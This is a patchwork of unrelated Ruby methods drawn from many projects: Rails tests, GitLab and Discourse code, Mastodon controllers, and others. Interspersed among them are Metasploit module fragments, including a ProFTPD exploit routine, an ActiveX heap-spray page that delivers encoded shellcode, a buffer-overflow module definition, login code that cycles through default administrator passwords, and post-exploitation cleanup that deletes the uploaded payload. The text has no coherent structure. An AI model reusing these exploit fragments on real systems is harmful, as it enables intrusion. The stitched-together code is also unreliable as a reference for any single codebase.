              fill_element 'throttle-authenticated-api-requests-per-user', limit
            end


def set_amount
      self.amount = order.total - order.payment_total
    end


def build_description_prompt(comparable_descriptions)
      locale_instruction = get_locale_instruction

      <<~PROMPT
        Generate a community description for the subforem with domain #{@subforem.domain} based on the following brain dump: #{@brain_dump}

        Use the following examples as a reference:
        #{comparable_descriptions.join(', ')}

        #{locale_instruction}

        IMPORTANT RULES:
        - Return ONLY the community description text
        - Do not include any introductory text, explanations, or meta-commentary
        - Do not say things like "Here is the description:" or "I have generated..."
        - Keep it concise but informative (50-200 characters)
        - Make it engaging and community-focused
        - Write in a professional but friendly tone

        Provide ONLY the description text:
      PROMPT
    end


def has_loaded?
          component.has_css?(".spinner", wait: 0)
          component.has_no_css?(".spinner")
        end


def rpc_destroy(cid)
    cid = cid.to_s
    return { 'result' => 'failure' } if not @console_driver.consoles[cid]
    res = @console_driver.destroy_console(cid)
    { 'result' => res ? 'success' : 'failure' }
  end


def initialize(params, context)
              @location = params[:component]

              super
            end


def scheduled_in_the_past?
    @scheduled_at.present? && @scheduled_at <= Time.now.utc
  end


def find_partitioned_table(table_name)
          partitioned_table = Gitlab::Database::PostgresPartitionedTable.find_by_name_in_current_schema(table_name)

          raise ArgumentError, "#{table_name} is not a partitioned table" unless partitioned_table

          partitioned_table
        end


def exploit
    connect

    # Use a copy of the target
    @mytarget = target

    if target['auto']
      @mytarget = nil

      print_status('Automatically detecting the target...')
      if banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        fail_with(Failure::NoTarget, 'No matching target')
      end

      regexp = Regexp.escape(version)
      targets.each do |t|
        if (t.name =~ /#{regexp}/)
          @mytarget = t
          break
        end
      end

      if !@mytarget
        fail_with(Failure::NoTarget, 'No matching target')
      end

      print_status("Selected Target: #{@mytarget.name}")

      pl = exploit_regenerate_payload(@mytarget.platform, arch)
      if !pl
        fail_with(Failure::Unknown, 'Unable to regenerate payload!')
      end
    else
      print_status("Trying target #{@mytarget.name}...")
      if banner
        print_status("FTP Banner: #{banner.strip}")
      end

      payload
    end
    disconnect

    super
  end


def make_query(dq = design_query)
    designs_field = query_graphql_field(:design_collection, {}, dq)
    issue_field = query_graphql_field(:issue, { iid: issue.iid.to_s }, designs_field)

    graphql_query_for(:project, { fullPath: project.full_path }, issue_field)
  end


def get_analytics_host_code
    analytics_host = nil
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'code.php'),
      'vars_get' => {
        'pid' => '1'
      }
    )
    if !res
      vprint_error("Connection failed")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
      vprint_good("Found analytics host: #{analytics_host}")
      return analytics_host
    else
      vprint_status("Could not find any hosts on code.php")
    end
    nil
  end


def html_line
      line_to_html(line, offsets)
    end


def test_hash_scoping
    assert_template_result('worked', "{{ test.test }}", { 'test' => { 'test' => 'worked' } })
    assert_template_result('worked', "{{ test . test }}", { 'test' => { 'test' => 'worked' } })
  end


def setup
    @host = HOST
    @app = ->(env) { [200, {}, [env['rack.url_scheme']]] }

    @log_writer = Puma::LogWriter.strings
    @events = Puma::Events.new
    @server = Puma::Server.new @app, @events, {log_writer: @log_writer}
  end


def child_theme_ids=(theme_ids)
    super(theme_ids)
    Theme.clear_cache!
  end


def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret = Rex::Text.to_unescape([target.ret].pack('V'))

    # Randomize the javascript variable names.
    vname = rand_text_alpha(rand(30) + 1)
    var_i = rand_text_alpha(rand(5) + 1)
    rand1 = rand_text_alpha(rand(100) + 1)
    rand2 = rand_text_alpha(rand(100) + 1)
    rand3 = rand_text_alpha(rand(100) + 1)
    rand4 = rand_text_alpha(rand(100) + 1)
    rand5 = rand_text_alpha(rand(100) + 1)
    rand6 = rand_text_alpha(rand(100) + 1)
    rand7 = rand_text_alpha(rand(100) + 1)

    content = %Q|
    <html>
    <object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
      <script>

      var #{rand1} = unescape("#{shellcode}");
      var #{rand2} = 0x0A0A0A0A;
      var #{rand3} = 0x400000;
      var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
      var #{rand5} = unescape("#{ret}");
      var #{rand6} = 128;

      while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
        #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
        #{rand7} = new Array();
        for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
          while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
            #{rand5} = #{rand5}.substring(0, #{rand6});

            #{vname}.AddColumn(#{rand5}, 1);
      </script>
    </html>
      |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end


def exploit
    # Sanity check
    if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
      fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
    end

    print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
    super
  end


def self.emojis_db_file
    @emojis_db_file ||= DiscourseEmojis.paths[:emojis]
  end


def to_html
      render(record)
    end


def detach_watcher(tw, ino, close_io = true)
      if @follow_inodes && tw.ino != ino
        log.warn("detach_watcher could be detaching an unexpected tail_watcher with a different ino.",
                  path: tw.path, actual_ino_in_tw: tw.ino, expect_ino_to_close: ino)
      end
      tw.watchers.each do |watcher|
        event_loop_detach(watcher)
      end
      tw.detach(@shutdown_start_time)

      tw.close if close_io

      if @pf && tw.unwatched && (@follow_inode || !@tails[tw.path])
        target_info = TargetInfo.new(tw.path, ino)
        @pf.unwatch(target_info)
      end
    end


def count_key(value)
    # value may be an array if the finder used in `count_by_state` added an
    # additional `group by`. Anyway we are sure that state will be always the
    # last item because it's added as the last one to the query.
    value = Array(value).last
    klass.available_states.key(value)
  end


def create
    @keyword = current_account.custom_filters.find(params[:filter_id]).keywords.create!(resource_params)

    render json: @keyword, serializer: REST::FilterKeywordSerializer
  end


def run
      Tag.where(bg_color_hex: "").or(Tag.where(text_color_hex: "")).find_each do |tag|
        # presence here selects non-empty strings if set  (avoiding unsetting valid values)
        # but nullifies empty tag colors
        tag.update_columns(
          bg_color_hex: tag.bg_color_hex.presence,
          text_color_hex: tag.text_color_hex.presence,
        )
      end

      # normalize empty string to nil (alias_for? behaved correctly already), this is just cleanup
      Tag.where(alias_for: "").update(alias_for: nil)

      Tag.where.not(alias_for: nil).find_each do |aliased_tag|
        # this is expected to not do anything - based on this query in blazer giving 0 rows
        # (there are 64 with aliases, all valid)

        # SELECT tags.alias_for, t2.name FROM tags
        # LEFT JOIN tags AS t2 ON tags.alias_for = t2.name
        # WHERE tags.alias_for IS NOT NULL
        # AND tags.alias_for != ''
        # AND t2.name IS NULL;

        aliased_tag.validate

        if aliased_tag.errors.any? { |e| e.type == "alias_for must refer to an existing tag" }
          aliased_tag.update_column(:alias_for, nil)
        end
      end
    end


def transform_result(result)
        hash_result = {}
        result.each { |r| hash_result[r[:label]] = r[:score] }
        hash_result
      end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure',
        'Description' => %q{
          This module sends a query to the port 264/TCP on CheckPoint Firewall-1
          firewalls to obtain the firewall name and management station
          (such as SmartCenter) name via a pre-authentication request. The string
          returned is the CheckPoint Internal CA CN for SmartCenter and the firewall
          host. Whilst considered "public" information, the majority of installations
          use detailed hostnames which may aid an attacker in focusing on compromising
          the SmartCenter host, or useful for government, intelligence and military
          networks where the hostname reveals the physical location and rack number
          of the device, which may be unintentionally published to the world.
        },
        'Author' => [ 'aushack' ],
        'DisclosureDate' => '2011-12-14', # Looks like this module is first real reference
        'References' => [
          # aushack - None? Stumbled across, probably an old bug/feature but unsure.
          [ 'URL', 'https://web.archive.org/web/20120508142715/http://www.osisecurity.com.au/advisories/checkpoint-firewall-securemote-hostname-information-disclosure' ],
          [ 'URL', 'https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360' ]
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(264),
      ]
    )
  end


def login_it360
    # Do we already have a valid cookie? If yes, just return that.
    if datastore['IAMAGENTTICKET']
      cookie_name = get_it360_cookie_name
      cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
      return cookie
    end

    # get the correct path, host and port
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/')
    })

    if res && res.redirect?
      uri = [ res.redirection.port, res.redirection.path ]
    else
      return nil
    end

    cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])

    if cookie != nil
      return cookie
    elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
      # we've tried with the default guest password, now let's try with the default admin password
      cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
      if cookie != nil
        return cookie
      else
        # Try one more time with the default admin login for some versions
        cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
        if cookie != nil
          return cookie
        end
      end
    end

    nil
  end


def index
    @places = current_user.places.page(params[:page]).per(20)
  end


def mech_list_mic
      self[:mech_list_mic].value
    end


def can_add_link?
      can_change_link? && !@added_meeting
    end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
          Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
          By sending an overly long string to the "Server()" method, and then calling
          the "Send()" method, an attacker may be able to execute arbitrary code.
          Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
          yield for the best results.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'MC' ],
        'References' => [
          [ 'CVE', '2007-3147' ],
          [ 'OSVDB', '37082' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
          [ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
        ],
        'DisclosureDate' => '2007-06-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end


def self.button_classes
    BUTTON_CLASSES.collect(&:name)
  end


def initialize(current_user, agent)
        @current_user = current_user
        @agent = agent
      end


def test_haml_tag_autoclosed_tags_are_closed_xhtml; skip
    assert_equal("<br class='foo' />\n", render("- haml_tag :br, :class => 'foo'", :format => :xhtml))
  end


def retrieve_tag(cli, request)
      cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
      tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first

      if tag.blank?
        # Browser probably doesn't allow cookies, plan B :-/
        vprint_status("No cookie received for #{cli.peerhost}, resorting to headers hash.")
        ip = cli.peerhost
        os = request.headers['User-Agent']
        tag = Rex::Text.md5("#{ip}#{os}")
      else
        vprint_status("Received cookie '#{tag}' from #{cli.peerhost}")
      end

      tag
    end


def initialize(current_user, params = {})
    @current_user = current_user
    @params = params
  end


def directive_offense_type(directive, actual_name)
          return :missing_directive unless directive

          return :wrong_scope if wrong_scope?(directive, actual_name)
          return :no_scope if no_scope?(directive, actual_name)

          # The method directive being prefixed by 'self.' is always an offense.
          # The matched method_name does not contain the receiver but the
          # def_node_match method name may so it must be removed.
          if directive[:method_name] != remove_receiver(actual_name) || directive[:receiver]
            :wrong_name
          end
        end


def self.with(rescue_connection_error: true, &block)
        Gitlab::Redis::SharedState.with(&block) # rubocop: disable CodeReuse/ActiveRecord -- false positive
      rescue ::Redis::BaseConnectionError => e
        raise e unless rescue_connection_error

        # Do not raise an error if we cannot connect to Redis. If
        # Redis::SharedState is unavailable it should not take the site down.
        nil
      end


def extract_and_apply_options!(args)
          options = args.last.is_a?(Hash) ? args.pop : {}
          options.assert_valid_keys :parse, :parser

          parser = options[:parser] || @parser

          args.map! { |a| parser.new(a).parse } if options[:parse] || options[:parser]

          args.flatten!
        end


def where
    operator_strategy.sql_for_field(values, "capabilities", self.class.key)
  end


def collection_uri_for(target, ...)
    raise ArgumentError, 'target must be a local account' unless target.local?

    target.numeric_ap_id? ? ap_account_collection_url(target.id, ...) : account_collection_url(target, ...)
  end


def add_code(code)
            flush_newline_if_pending(src)
            super
          end


def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


def validate_whatsapp_source_id
    return if WHATSAPP_CHANNEL_REGEX.match?(source_id)

    errors.add(:source_id, "invalid source id for whatsapp inbox. valid Regex #{WHATSAPP_CHANNEL_REGEX}")
  end


def visibility
    # This visibility is masked behind "private"
    # to avoid API changes because there are no
    # UX differences
    if object.limited_visibility?
      'private'
    else
      object.visibility
    end
  end


def test_unknown_function_id_returns_error
    bad_id = "some-bad-id"
    @custom_methods_repo.expects(:find).at_most_once.with(bad_id).returns(nil)

    assert_raises Holidays::FunctionNotFound do
      @subject.call(@input, bad_id, @func_args, @func_modifier)
    end
  end


def make_change!(change)
      migration = change.context[:migration]
      migration_record = change.context[:migration_record]
      job_name = change.context[:job_name]
      last_migration_file = change.context[:last_migration_file]
      migration_yaml_file = change.context[:migration_yaml_file]

      initialize_change_details(change, migration, migration_record, job_name, last_migration_file)

      queue_method_node = find_queue_method_node(last_migration_file)

      migration_name = truncate_migration_name("FinalizeHK#{job_name}")
      PostDeploymentMigration::PostDeploymentMigrationGenerator
        .source_root('generator_templates/post_deployment_migration/post_deployment_migration/')
      generator = ::PostDeploymentMigration::PostDeploymentMigrationGenerator.new([migration_name])
      migration_file = generator.invoke_all.first
      change.changed_files = [migration_file]

      add_ensure_call_to_migration(migration_file, queue_method_node, job_name, migration_record)
      ::Gitlab::Housekeeper::Shell.rubocop_autocorrect(migration_file)

      digest = Digest::SHA256.hexdigest(generator.migration_number)
      digest_file = Pathname.new('db').join('schema_migrations', generator.migration_number.to_s).to_s
      File.open(digest_file, 'w') { |f| f.write(digest) }

      add_finalized_by_to_yaml(migration_yaml_file, generator.migration_number)

      change.changed_files << digest_file
      change.changed_files << migration_yaml_file

      change
    end


def find_user
      @user = User.find(params[:id])
    end


def extract_config_entries(entity:)
            config.dig('user_access', entity)
              &.first(AUTHORIZED_ENTITY_LIMIT)
              &.index_by { |config| config.delete('id').downcase }
          end


def list_category_topic_ids(category)
    query = default_results(category: category.id)
    pinned_ids =
      query
        .where("topics.pinned_at IS NOT NULL AND topics.category_id = ?", category.id)
        .limit(nil)
        .order("pinned_at DESC")
        .pluck(:id)
    non_pinned_ids =
      query.where("topics.pinned_at IS NULL OR topics.category_id <> ?", category.id).pluck(:id)
    (pinned_ids + non_pinned_ids)
  end


def log_skipping_non_existent_object(path)
          logger.info("No object found for #{path}, skipping.")
        end


def setup
    @bc = ActiveSupport::BacktraceCleaner.new
  end


def process_attrasgn exp
    exp = exp.dup
    exp.target = process exp.target
    exp.arglist = process exp.arglist
    exp
  end


def test_find_with_annotation_unscoped
    Developer.annotate("scoped").unscoped do
      developer = nil
      log = capture_sql do
        developer = Developer.where("name = 'David'").first
      end

      assert_not_predicate log, :empty?
      assert_predicate log.select { |query| query.match?(%r{/\* scoped \*/}) }, :empty?

      assert_equal "David", developer.name
    end
  end


def execute
      purge_data!(Ci::UnitTestFailure)
      purge_data!(Ci::UnitTest)
    end


def test_has_many_through_with_default_scope_on_the_target
    person = people(:michael)
    assert_equal [posts(:thinking).id], person.first_posts.map(&:id)

    readers(:michael_authorless).update(first_post_id: 1)
    assert_equal [posts(:thinking).id], person.reload.first_posts.map(&:id)
  end


def comment_only_line?(line_number)
      non_comment_token_line_numbers.none?(line_number)
    end


def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }

    form_for(@post) do |f|
      expected = 0
      @post.comments.each do |comment|
        f.fields_for(:comments, comment) { |cf|
          assert_equal expected, cf.index
          expected += 1
        }
      end
    end
  end


def file_on_head(type, object_type = :blob)
    return unless head = tree(:head)

    objects =
      case object_type
      when :blob
        head.blobs
      when :tree
        head.trees
      else
        raise ArgumentError, "Object type #{object_type} is not supported"
      end

    objects.find do |object|
      Gitlab::FileDetector.type_of(object.path) == type
    end
  end


def validate_each(record, attribute, value)
    return if value.blank? || safe_value?(value)

    record.errors.add(attribute, self.class.error_message)
  end


def project_for_permission_check
    if model.is_a?(Project)
      model
    else
      model.respond_to?(:project) ? model.project : nil
    end
  end


def controller(controller)
          @scope = @scope.new(controller: controller)
          yield
        ensure
          @scope = @scope.parent
        end


def self.define_predicate(name)
        define_method "#{name}?" do
          !!send(name)
        end
      end


def initialize(merge_request_diff, page, per_page, diff_options = nil)
          super(merge_request_diff, diff_options: diff_options)

          @paginated_collection = load_paginated_collection(page, per_page)
        end


def add(updated)
        @rules.merge!(updated).each_key { |k| opposite.delete(k) }
      end


def initialize(argv = [])
        @argv                    = argv
        @parser                  = OptionParser.new
        @report_format           = :text
        @location_format         = :numbers
        @progress_format         = tty_output? ? :dots : :quiet
        @show_links              = true
        @smells_to_detect        = []
        @colored                 = tty_output?
        @success_exit_code       = Status::DEFAULT_SUCCESS_EXIT_CODE
        @failure_exit_code       = Status::DEFAULT_FAILURE_EXIT_CODE
        @generate_todo_list      = false
        @force_exclusion         = false
        @show_configuration_path = false

        set_up_parser
      end


def fabricate!
          if extended_statuses.none?
            core_status
          else
            compound_extended_status
          end
        end


def expand_advanced_settings(&block)
            expand_content('advanced-settings-content') do
              Advanced.perform(&block)
            end
          end


def initialize(entry_data:, nplurals:)
        @entry_data = entry_data
        @nplurals = nplurals
      end


def channel
    @channel ||= inbox.channel
  end


def generate_tags_with_retry
      retries = 0
      tags = []

      while retries < MAX_RETRIES && tags.empty?
        begin
          tags = generate_tags
          retries += 1

          # Check if the output meets our expectations
          unless output_meets_expectations?(tags)
            Rails.logger.warn("Attempt #{retries} generated insufficient tags (#{tags.length}), retrying...")
            tags = []
            next
          end
        rescue StandardError => e
          retries += 1
          Rails.logger.warn("Attempt #{retries} failed to generate tags: #{e.message}")
          sleep(1) if retries < MAX_RETRIES
        end
      end

      if tags.empty?
        Rails.logger.error("Failed to generate tags after #{MAX_RETRIES} attempts")
        return
      end

      process_tags(tags)
    end


def list_owner_account_is_account?
    list.account_id == account_id
  end


def each_pipelines_merge_request_path(pipeline)
      pipeline.all_merge_requests.each do |merge_request|
        yield(pipelines_project_merge_request_path(merge_request))
        yield(merge_request_widget_path(merge_request))
      end

      pipeline.project.merge_requests.by_merged_or_merge_or_squash_commit_sha(pipeline.sha).each do |merge_request|
        yield(merge_request_widget_path(merge_request))
      end
    end


def initialize(filenames, context:, todos: TODOS_GLOBS, allow_fail: false)
        @filenames = filenames
        @context = context
        @todos_globs = todos
        @allow_fail = allow_fail
      end


def bootstrap(datastore = {}, handler = nil)
      @ssh_command_stream = Net::SSH::CommandStream.new(ssh_connection, session: self, logger: self)

      @ssh_command_stream.verify_channel
      # set remote_window_size to 32 which seems to help stability
      @ssh_command_stream.channel.do_window_adjust(-@ssh_command_stream.channel.remote_window_size + 32)
      @rstream = @ssh_command_stream.lsock

      if @serial_username.present? || @serial_password.present?
        shell_write("#{@serial_username}\n")
        shell_write("#{@serial_password}\n")
      end

      shell_command('stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe; rm $pipe; exit')
      shell_read(-1)

      @info = "EC2 Instance Connect #{@serial_username.present? ? @serial_username : ssh_username} @ #{@peer_info}"

      super
    end


def batch_sync(max_queries: nil, &blk)
    batch(max_queries: max_queries) { sync_all(&blk) }
  end


def initialize(_info = {})
    super(
      'Name' => 'WordPress Google Maps Plugin SQL Injection',
      'Description' => %q{
        This module exploits a SQL injection vulnerability in a REST endpoint
        registered by the WordPress plugin wp-google-maps between 7.11.00 and
        7.11.17 (included).

        As the table prefix can be changed by administrators, set DB_PREFIX
        accordingly.
      },
      'Author' => [
        'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-10692'],
        ['WPVDB', '9249']
      ],
      'DisclosureDate' => '2019-04-02',
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
        'Reliability' => []
      }
    )

    register_options(
      [
        OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])
      ]
    )
  end


def s_(key, separator = nil)
        "#{DL}#{FastGettext.s_(key, separator)}#{DR}"
      end


def before_unsubscribe(*methods, &block)
          set_callback(:unsubscribe, :before, *methods, &block)
        end


def sync_traversal_ids_tree!(node)
        # An issue in Rails since 2013 prevents this kind of join based update in
        # ActiveRecord. https://github.com/rails/rails/issues/13496
        # Ideally it would be:
        #   `incorrect_traversal_ids.update_all('traversal_ids = cte.traversal_ids')`
        sql = <<-SQL
          UPDATE namespaces
          SET traversal_ids = cte.traversal_ids
          FROM (#{recursive_traversal_ids(node)}) as cte
          WHERE namespaces.id = cte.id
            AND namespaces.traversal_ids::bigint[] <> cte.traversal_ids
        SQL

        # Hint: when a user is created, it also creates a Namespaces::UserNamespace in
        # `ensure_namespace_correct`. This method is then called within the same
        # transaction of the user INSERT.
        Gitlab::Database::QueryAnalyzers::PreventCrossDatabaseModification.temporary_ignore_tables_in_transaction(
          %w[namespaces], url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/424279'
        ) do
          Namespace.connection.exec_query(sql)
        end
      end


def available_plugins
      available_gems.keep_if do |current|
        current.start_with?(self.class.plugin_prefix)
      end
    end


def each_direct_result(_cached = false)
      return enum_for(__method__) unless block_given?

      yield self
    end


def test_collection_select_with_blank_and_style
    @post = Post.new
    @post.author_name = "Babe"

    assert_dom_equal(
      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\" label=\" \"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true }, { "style" => "width: 200px" })
    )
  end

<select id="post_author_name" name="post[author_name]" style="width: 200px"><option value="" label=" "></option>
<option value="<Abe>"><Abe></option>
<option value="Babe" selected="selected">Babe</option>
<option value="Cabe">Cabe</option></select>


def find_phone_data(phone_numbers)
    return nil if phone_numbers.blank?

    if @phone_number_id.present?
      phone_numbers.find { |phone| phone['id'] == @phone_number_id } || phone_numbers.first
    else
      phone_numbers.first
    end
  end


def rss_path
          url_helpers.group_work_items_path(group, format: :atom)
        end


def before_ae_starts(_options)
    reload
    if state.to_s.downcase.in?(%w[pending queued])
      _log.info("Executing #{request_class::TASK_DESCRIPTION} request: [#{description}]")
      update_and_notify_parent(:state => "active", :status => "Ok", :message => "In Process")
    end
  end


def topic_reference_link(topic_node)
      target = fetch(topic_node, "ReferenceLink")
      target.content = url_helpers.work_package_url(work_package)
    end


def legacy?
        SiteSetting.use_legacy_pageviews &&
          type.in?(%w[consolidated_page_views consolidated_page_views_browser_detection])
      end


def test_creates_configurations_with_local_host
      @configurations["development"]["host"] = "localhost"

      with_stubbed_configurations_establish_connection do
        assert_called(ActiveRecord::Tasks::DatabaseTasks, :create) do
          ActiveRecord::Tasks::DatabaseTasks.create_all
        end
      end
    end


def loadable_module?(parent_path, type, module_reference_name, cached_metadata: nil)
    full_path = cached_metadata&.path || module_path(parent_path, type, module_reference_name)
    script_path?(full_path)
  end


def prompt_for_product_categories
        new_page!(on_step: 'Categories', steps: STEPS)
        cli.say <<~TEXT
          #{format_info('FEATURE CATEGORY')}
          Refer to https://handbook.gitlab.com/handbook/product/categories for information on current product categories.

        TEXT

        event.product_categories = prompt_for_feature_categories(
          'Which feature categories best fit this event?',
          [event.product_group]
        )
      end


def up
    add_concurrent_foreign_key :packages_conan_file_metadata, :packages_conan_package_revisions,
      column: :package_revision_id, on_delete: :cascade
    add_concurrent_index :packages_conan_file_metadata, :package_revision_id, name: INDEX_NAME
  end


def self.display_name(number = 1)
    n_('Password', 'Passwords', number)
  end


def test_parse_with_keep_time_key
      conf = {
        'expression' => %q!/(?<time>.*)/!,
        'time_format' => "%d/%b/%Y:%H:%M:%S %z",
        'keep_time_key' => 'true',
      }
      d = create_driver(conf)
      text = '28/Feb/2013:12:00:00 +0900'
      d.instance.parse(text) do |_time, record|
        assert_equal text, record['time']
      end
    end


def run_check
    message = msg("Vulnerability in digest authentication ", msg_cve("CVE-2012-3424"), ". Upgrade to ")

    if version_between? "3.0.0", "3.0.15"
      message << msg_version("3.0.16")
    elsif version_between? "3.1.0", "3.1.6"
      message << msg_version("3.1.7")
    elsif version_between? "3.2.0", "3.2.5"
      message << msg_version("3.2.7")
    else
      return
    end

    if with_http_digest?
      confidence = :high
    else
      confidence = :weak
    end

    warn :warning_type => "Denial of Service",
      :warning_code => :CVE_2012_3424,
      :message => message,
      :confidence => confidence,
      :link_path => "https://groups.google.com/d/topic/rubyonrails-security/vxJjrc15qYM/discussion",
      :gem_info => gemfile_or_environment,
      :cwe_id => [287]
  end


def render_credit_limit_error(exception)
    allocation = exception.allocation

    details = {}
    if allocation
      details[:reset_time_relative] = allocation.relative_reset_time
      details[:reset_time_absolute] = allocation.formatted_reset_time
    end

    render json: {
             error: "credit_limit_exceeded",
             message: exception.message,
             details: details,
           },
           status: :too_many_requests
  end


def setup
      ActiveRecord::ExplainRegistry.reset
      ActiveRecord::ExplainRegistry.start
    end


def check
    connect
    sock.put("T;uname -a;\n")
    resp = sock.get_once
    disconnect

    if resp =~ /IRIX/
      vprint_status("Response: #{resp.strip}")
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end


def perform(greeter = "David")
    JobBuffer.add("#{greeter} says hello")
  end


def commit(hash)
        project.repository.commit(hash)
      end


def include_thumbnails?
    theme_modifier_helper.topic_thumbnail_sizes.present? ||
      DiscoursePluginRegistry.topic_thumbnail_sizes.present?
  end


def without_notifications(&)
    Journal::NotificationConfiguration.with(false, &)
  end


def app_paying_users_interval(start_t, end_t, view_by = nil)
        client.time_series_analytics([apple_id], ['payingUsers'], start_t, end_t, "DAY", view_by)
      end


def enabled?
        !!Gitlab.config['gitlab_kas']&.fetch('enabled', false)
      end


def perform
        each_sub_batch do |sub_batch|
          with_release_tag(sub_batch).each do |version|
            match_data = ::Gitlab::Regex.semver_regex.match(normalized_version_name(version.tag))

            next unless match_data

            version.update!(
              semver_major: match_data[1].to_i,
              semver_minor: match_data[2].to_i,
              semver_patch: match_data[3].to_i,
              semver_prerelease: match_data[4]
            )
          end
        end
      end


def workflows
      seed_data.lookup(:workflows).map do |workflow_data|
        type = seed_data.find_reference(workflow_data["type"])
        statuses = seed_data.find_references(workflow_data["statuses"])
        [type, statuses]
      end
    end


def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end


def on_new_session(client)
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      begin
        print_warning("Deleting #{@upload_php}")
        client.fs.file.rm(@upload_php)
        print_good("#{@upload_php} removed to stay ninja")
      rescue
        print_error("Unable to remove #{f}")
      end
    end
  end


def test_the_middleware_chooses_writing_role_with_POST_request
      middleware = ActiveRecord::Middleware::DatabaseSelector.new(lambda { |env|
        assert ActiveRecord::Base.connected_to?(role: :writing)
        [200, {}, ["body"]]
      })
      cache = ActiveSupport::Cache::MemoryStore.new
      middleware = ActionDispatch::Session::CacheStore.new(middleware, cache: cache, key: "_session_id")
      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "POST")
    end


def render_page_hierarchy(pages, node = nil, options = {})
      return "" unless pages[node]

      content_tag :ul, class: "pages-hierarchy -with-hierarchy" do
        chunks = pages[node].map do |page|
          content_tag :li, class: "-hierarchy-expanded" do
            is_parent = pages[page.id]
            concat render_hierarchy_item(page, is_parent, options)
            concat render_page_hierarchy(pages, page.id, options) if is_parent
          end
        end
        chunks.join.html_safe
      end
    end


def self.scoped_table
        arel_table.alias(table_name)
      end


def exploit
    login

    upload_payload

    # For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.
    if target['Platform'] == 'php'
